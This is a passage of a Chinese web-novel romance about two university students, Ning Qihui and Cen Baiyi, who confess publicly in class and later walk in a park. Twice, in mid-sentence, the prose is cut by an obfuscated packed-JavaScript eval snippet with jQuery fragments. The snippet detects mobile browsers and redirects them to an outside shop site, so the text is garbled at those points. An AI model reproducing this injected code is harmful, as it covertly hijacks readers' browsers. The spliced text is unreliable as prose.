哦对,好像说他们老师今天调课了,确实不用上课。 见被发现了,江千陵轻咳一声,挪开视线,假装没看到,试图蒙混过关。 宁启洄:“……” 这是什么新时代的掩耳盗铃? 他看见了!不要试图抵抗! 宁启洄直觉,江千陵的出现肯定和岑柏意说的仪式感有关系——他可能是在其中本本分分走流程的一个工具人。 注意到宁启洄直勾勾的视线,江千陵扯出一抹假笑。 瞒不住了。 就是现在,江卡丘! 他反手一掏,一捧巨大的白玫瑰从背后缓缓露出真容,直接晃了他的眼。 宁启洄:“……” 宁启洄:“???” 宁启洄:“!!!” 你不要过来啊! 而表情解读小天才江千陵自动翻译为“我好感动!” 他勾起一抹笑,沉着又莫名自信地迈步走来。 果然,他岑哥安排就是好,看给小宁感动成什么样子了。 下次可以抄抄,给他家小林子用。 完全没意识到自己的岑式行为有可能被林枫晚拉进黑名单,江千陵美滋滋一乐,觉得自己这招出其不意也挺厉害。 江千陵:嘿嘿。 起初,只有一个人瞥见教室外的帅哥捧了束白玫瑰。 然后,他怼了怼旁边的朋友示意他往外看。 再然后,出现了人传人现象,所有人都在看外面。 宋斯年讲课声也停了,好奇地偏头看去,一眼就看到了扒拉着门框往里瞄的陌生男生。 宁启洄:“……” 救命!! 岑柏意也注意到这边的动静,抬眸望去,然后就和自觉事办得不错所以勾起唇角的发小对视了。 岑柏意:“……” 笑容缓缓消失,正式谈恋爱的喜悦似乎都淡了不少了呢。 就在这几秒安静对视里,也不知道是谁开口说了一句:“这是来抢亲的?” “嗷嗷嗷!刺激!” 宁启洄心想,确实刺激,都快刺激死了好吗。 顿时,班上热闹起来,叽叽喳喳讨论着,拍照的,起哄的,甚至有喊加油的。 “打起来打起来!” “我们要热爱和平…要不比武招亲吧嗷嗷嗷!” “这小哥也好帅,完了我叛变了,要不他们仨一起过吧。” “你们三个把日子过好比什么都强!!!” 也许是最后一节课了,宋斯年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295207|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脾气也好,同学们实在是躁动得很,好不容易有瓜吃,自然不肯轻易放过。 而抢亲者江千陵缓缓摇头,神情专注地看着他们俩,语气满是真诚:“谨代表这束玫瑰花,祝你们百年好合!” 俨然一副七百CP粉头子,磕得比谁都上瘾。 教室里瞬间收声,似乎有几只无形的黑乌鸦飞过,嘎嘎叫了两声。 最开始起哄抢亲的同学收回踩在椅子上的腿,缓缓坐下,试图降低自己的存在感。 年纪不小的桌椅发出嘎吱的声音。 气氛尬住了。 宋斯年看看外面的男生,看看里面骤然安静的同学们,最终把目光停留在那对崭新出厂的小情侣身上。 是他跟不上时代了吗,这群孩子怎么情绪来得快去得也快? 试图撤掉这门课的想法又加重了几分。 处于视线中心的宁启洄:“……” 小江啊,你让宁哥很感动,真的,但宁哥现在很社死。 这辈子没这么尴尬过。 全班所有视线包括宋斯年都看了过来,几分钟以前的社死即视感再度出现。 他缓慢垂头,试图找出一个地缝好让他钻进去全身而退。 岑柏意的唇也抿得很紧,目光沉沉看向江千陵。 两人用眼神交流起来。 岑柏意:我记得是让你课间抱过来。 因为没课所以提前来看热闹的江千陵:气氛到这了,再不拿束玫瑰出来就不礼貌了。 岑柏意:…… 江千陵:再说了,效果是一样的,惊艳四座! 岑柏意:…… 忍,这是二十年的发小。 忍,还要处三年室友。 再忍,他是男朋友好朋友的男朋友。 嗯,最后这个理由比较有说服力。 岑柏意缓缓吐出一口浊气。 算了。 江千陵见岑柏意眼里杀意已散,悄悄松了口气,敲敲门询问老师可以进来吗。 “当然可以。”最后一节课了,好好放松放松也行。 说完,宋斯年含笑点头,看着教室里其他同学,“现场教学,同学们好好观摩,争取领悟其中精髓。” “噢噢噢——” “好嘞!” 老师,你为何也跟着起哄! 宁启洄好想逃,却逃不掉。 这就是i人至暗时刻吗。 岑柏意闭了闭眼,深吸一口气,缓缓起身,去接过门口江千陵手里的花。 他转身,顶着满教室好奇又八卦的视线,缓缓开口:“岁宝,我……” “岁宝是谁?” “宁启洄小名吧,贴吧同人文好像有,我给你翻翻。” “我靠,这是网络照进现实了?这么说他们俩也看?” 细碎的讨论声不时传入耳中,岑柏意又吸了一口气,表白的话被卡在喉咙里。 不是,怎么有种在操场上摆了爱心蜡烛当众表白的羞耻感啊! 明明当初预想不是这样的。 昨晚他买了花,叮嘱江千陵今天课间把花送过来,趁着第一节课下课了氛围好,正式表个白。 为什么成了现在的样子? 宁启洄也不懂,他定了定神,认真地看着岑柏意,催促他快往下说。 早说完早解放。 眼神坚定得像是要入党。 岑柏意也调整好心情,微微低头,眸色温柔地盯着宁启洄,表情却是无比认真。 他只说了一句话: “这束花送给你,祝你快乐,祝我幸福。” 67.送花 宁启洄不知道自己是怎么坐下的,不过当时教室里挺吵的,估计大家热闹也看得挺开心。 坐下缓了好一会,宁启洄用手背贴脸贴了贴发烫的脸颊。 真是的……岑柏意好端端的,说这些。 还挺、挺诱人。 宁启洄回想了一下岑柏意当时专注温柔的神情,脸上的温度再次泛上来。 岑柏意也没闹他,让他自己消化了一会。 过了几分钟,宁启洄偷摸伸出手,牵住岑柏意的手,指尖轻轻蹭了蹭他的手背。 岑柏意勉强压住嘴角的笑意,稍微用力捏了捏表示安抚。 两人就这样静静地牵着手,看起来岁月静好。 他们也不是第一次拉手了,但总觉得这一次内心意外地平静又满足。 宁启洄想,患难见真情,这也许就是同担风雨后的彩虹吧。 至于另一位带来风雨的第三者,此刻眼巴巴看着讲台上的宋斯年。 因为刚才宋斯年说,班上每位同学都有小蛋糕吃——上次说过期末脱单的同学可以领玫瑰,但一向公正的宋教授觉得不能厚此薄彼,于是每位同学都有小蛋糕吃。 现在,江千陵在等这份小蛋糕,虽然他不是这个班上的人。 宋斯年见江千陵狗狗祟祟蹲在他们俩边上不走,也是一愣,随即笑道:“正好多买了几个,教室里每位同学都有一份小蛋糕。” 全班同学都欢呼起来,试图冒充的江千陵也跟着喊了几声,感情充沛,情绪到位,就是学号不在点名册上。 小蛋糕很好吃,为了照顾大家的口味,宋斯年全买了四种口味,都是很常见的奶油蛋糕。 宁启洄挑了个草莓味的,给岑柏意拿了份芒果的,江千陵更偏爱巧克力蛋糕。 奶油很香甜不腻人,配上清爽的水果,酸酸甜甜,别有一番风味。 吃完蛋糕,宋斯年又放了部爱情短片,正好一节课,大家连同编外人员一起看了。 看完,正好下课。 宋斯年向全班同学鞠了个躬,含笑抱走剩下的玫瑰,低头数着怀里的玫瑰,出门前嘴里轻声嘀咕:“现在的小年轻怎么都不谈恋爱呢……” 江千陵咂咂嘴,回味小蛋糕的滋味,他说:“宋教授人真好啊,要不下学期我选这门课?有啥上课经验不前辈?” 他挑眉,看向新鲜出炉的两位新人。 岑柏意错开眼,不想理这位抢亲观众,倒是宁启洄回他话了:“有建议你也用不上,估计宋教授以后不会开这门课了。” 江千陵好奇,“为啥?” 宁启洄:“一个学期过去了,班上恋爱人数不增反降。” 江千陵大笑,嗓子眼直冲宁启洄。 正巧宋斯年手机忘在讲台上了回来取,进门就听见这段对话,以及江千陵毫不掩饰的嘲笑。 二人一对视。 江千陵:“……” 宋斯年:“……” 宋斯年眯眼,“江千陵同学,你以后最好别选我们学院开的课。”不然你就完了。 即使知道宋斯年是开玩笑的,但江千陵还是虎躯一震,咽了咽口水。 宋斯年快步走到讲台上拿手机。 宁启洄小声问:“你上过宋教授的课?” 江千陵静若鹌鹑,轻轻点头,“嗯,大学生心理健康之类的。” 说着,他又感慨,“没想到宋教授还记得我啊。” 宋斯年推了推眼镜,微笑给予肯定:“当然,当初填在线问卷,你是第一个填自己有爱玩手机综合征的。” 江千陵:“……” 老师我错了,真错了。 宋斯年离开了,教室里安静一瞬。 宁启洄轻声问:“什么是‘爱玩手机综合征’?” 江千陵瞬间扭头,试图用眼神震慑。 但岑柏意显然想报复回来,他完全无视他的瞪视,淡然道:“哦,无非就是网瘾,他乱写的。” 宁启洄:“……” 岑柏意继续补充:“你知道他下一个症状写的什么吗?” 江千陵瞬间跳起来要去捂他的嘴,抽到筋,腿麻一瞬。 岑柏意淡定朝旁边偏了偏,继续道:“白天睡不醒晚上睡不着症,想谈恋爱综合征,一顿三碗饭综合征等。” 江千陵弯腰,痛苦地捂住脸,试图把自己的社死记忆清除。 宁启洄笑了笑,又问:“这能行吗?” 岑柏意:“不行,所以宋教授让他当众把问卷念了一遍,然后重填。” 宁启洄:“……” 他神色复杂,“难怪能记住你呢,江千陵同学。” 江千陵没什么感情地扯了扯嘴角,“我也觉得呢,宁启洄同学。” 整个人浑身散发着咸鱼的绝望。 过了几秒,他又想起什么,笑嘻嘻地活过来,道:“不过我觉得宋教授肯定也能记得你俩。” 宁启洄:“……” 岑柏意:“……” 是呢,当众表白,谁不印象深刻。 宁启洄都不敢打开今天的贴吧,怕点进去就被裤子甩一脸。 成功扳回一城,江千陵哼笑一声,随手一抛,把蛋糕盒准确扔进垃圾桶里。 “一记漂亮的三分球!让我们恭喜江千陵选手!” 宁启洄:“……”戏还挺多。 岑柏意不欲同他搭戏,揽着宁启洄往外走。 等感叹男篮没要他是他们的损失的江千陵反应过来,两人已经快走出教学楼了。 “喂喂喂!重色轻友啊你们!” —— 上完最后一节课,期末考试也快到了。 宁启洄看书看得眼冒金星,感觉纸上的文字都飘出来在跳舞,可怕得很。 一旁的岑柏意揉揉眉心,见状,问道:“要出去走走吗?” 宁启洄瞪着死鱼眼看过来,“无机化学你来帮我考?” 岑柏意:“……” 他温声道:“出去走走散散心,休息一下。” 宁启洄深吸一口气,去洗了把脸。 “走吧。”他有气无力应道,一副命不久矣的模样。 岑柏意:“……” 两人就去了附近的公园逛逛,还带上了小龙猫汤圆——养了大半年,小汤圆的身体比刚接过来要圆不少,淡灰色的毛蓬松柔软。 但其实是个实心儿的,所以两人带它出来运动运动。 找了个长椅坐下,宁启洄把小汤圆从透明背包里放出来。 小汤圆先是四处拱了拱,觉得无趣,又缩回他爸比爹地身边,安安静静窝着,真像个大号汤圆。 宁启洄戳了戳他软乎乎的肚子,嗯,软绵绵,实心汤圆。 “崽儿,挪挪地儿,别吃了睡睡了吃的。”宁启洄戳戳小汤圆,小汤圆只是耳朵动动,身形岿然不动,俨然一副不挪窝的样子。 宁启洄气笑了,轻轻一巴掌拍在小汤圆肉嘟嘟的屁股上,“动起来!” 小汤圆这有反应了,他扭头瞥了眼宁启洄,然后慢吞吞挪了个地,换到岑柏意腿上。 宁启洄:“……” 岑柏意一边轻抚小汤圆的背,一边笑着看他,“歇会就歇会,我们汤圆出来已经很棒了对不对?” 宁启洄:“……你对阿念怎么没这耐心。” 岑柏意表情瞬间冷漠,“他也没小汤圆这么乖。”披起来恨不得打断他的腿。 说着,又翻出冻干,喂小汤圆的贴膘事业添砖加瓦 宁启洄恨铁不成钢:“慈母多败儿!” 慈母岑完全不在意,甚至还挺开心,看着他说:“有你这位严父就够了。” 宁启洄:“……” 说不过你。 突然,旁边来了个卖气球的,腰间挂着大喇叭,不断重复一句话: 【气球便宜卖,三十块一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304940|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !】 两人目光都是一凝,岑柏意语气轻轻,“要一个吗?” 卖气球的大叔很有眼力见,当即解了个蓝色的气球递给他们,“小伙子给弟弟卖气球呢?这个好,初中生都喜欢这个,卖得可开了!” 宁启洄因为前半句偷笑,听到后半句,彻底笑不出来了。 什么初中生,他是长得矮了还是幼稚了,哪里就初中生了! 岑柏意倒是认真打量了一会,嗯,不错,他男朋友这张小脸是挺嫩。 眼见着宁启洄要炸毛,岑柏意熟练安抚,“不是初中生,这是我对象。” 宁启洄撇嘴。 大叔一愣,瞪大眼看了宁启洄几秒,又把气球换成粉色的了。 “原来如此啊,我就说弟弟咋长这么秀气,原来是女扮男装啊!”大叔恍然大悟,冲他们挤挤眼,“没事,现在小女孩流行这个。” 宁启洄:“……” 在宁启洄发飙之前,岑柏意赶忙买了气球,催大叔快到别处去。 卖气球的大叔默默后脑勺,还挺奇怪。 这俩小孩闹啥呢,不过那小女孩长得确实靓呐。 靓妹宁启洄臭着脸,盯着岑柏意迅速掏手机付款买下来粉色星星气球,心情更差了。 岑柏意忍笑,晃了晃气球,“挺好看的呢,宁妹妹?” 宁启洄:“……” 你死了岑柏意。 见宁启洄表情更臭了,岑柏意赶忙安抚,“好了好了,不像女孩,我们岁宝最有男子气概了。” 宁启洄:“……” 对上岑柏意真挚的眼神,宁启洄沉默一瞬。 忍了忍,还是没忍住,他开口问:“你把我当小孩呢?” 岑柏意笑了几声,把气球系在他手腕上。 “你比我小啊,可不就是小孩。” 看着手臂上系着的粉色气球,宁启洄有些不自在地动了动。 岑柏意打了个漂亮的蝴蝶结,认真地看着宁启洄,“不像女孩,像我喜欢的人,宇宙无敌爆炸帅的大男孩。” “……” 宁启洄嘴角抽搐,虽然这确实是他能说的出来话,但怎么就有点羞耻呢! 他盯着气球看了几秒,一股熟悉的即视感涌上心头,他感慨道:“乍一下换个身份还有点不适应呢。” 总感觉手里气球少了点,胸前缺个收款二维码,再来个大喇叭叫卖气球十块一个就更好了。 一些也不算社死但又谈不上美好的经历浮现在脑海,那位戴着帽子卖便宜气球的少年最终是“死”在了那个冬天的月之城。 岑柏意双手合十,“我的错。” 宁启洄大度摆手,“原谅你。” 两人聊了一会天,宁启洄慢慢眯起眼睛。 “要开心。”岑柏意捏捏他的手,突然说,“不要因为考试难怪,要开开心心的。” 宁启洄困得不知东南西北,没听清楚他在说什么。 岑柏意无奈笑了笑,蹲下身把他背在背上。 骤然的凌空感让宁启洄惊醒,又闻到熟悉的气息,他安然闭眼。 “小岑子,摆驾回宫。” 他把下巴抵在岑柏意肩头,嘴巴张开幅度很小,声音听着有点闷闷的,像是呢喃,又像是撒娇。 岑柏意无奈笑道:“是,陛下。” 宁启洄龙颜大悦,一拍小岑子肩头,“好,有赏,赏黄金万两!” “……”岑柏意叹气,领了旨,“谢主隆恩。” 背上的小困鬼终于消停了,嘴里嘟囔了几句什么。 岑柏意竖起耳朵去听,只听见背上的人说:“封你为岑皇后…今夜岑皇后侍寝……” “……”剧情还挺通顺。 岑柏意好笑,把人往背上送了送,脚步沉稳,带着睡熟的男朋友缓缓往学校走去。 月亮出来了,两人的身影在月光下越拉越长,直至交融在一起。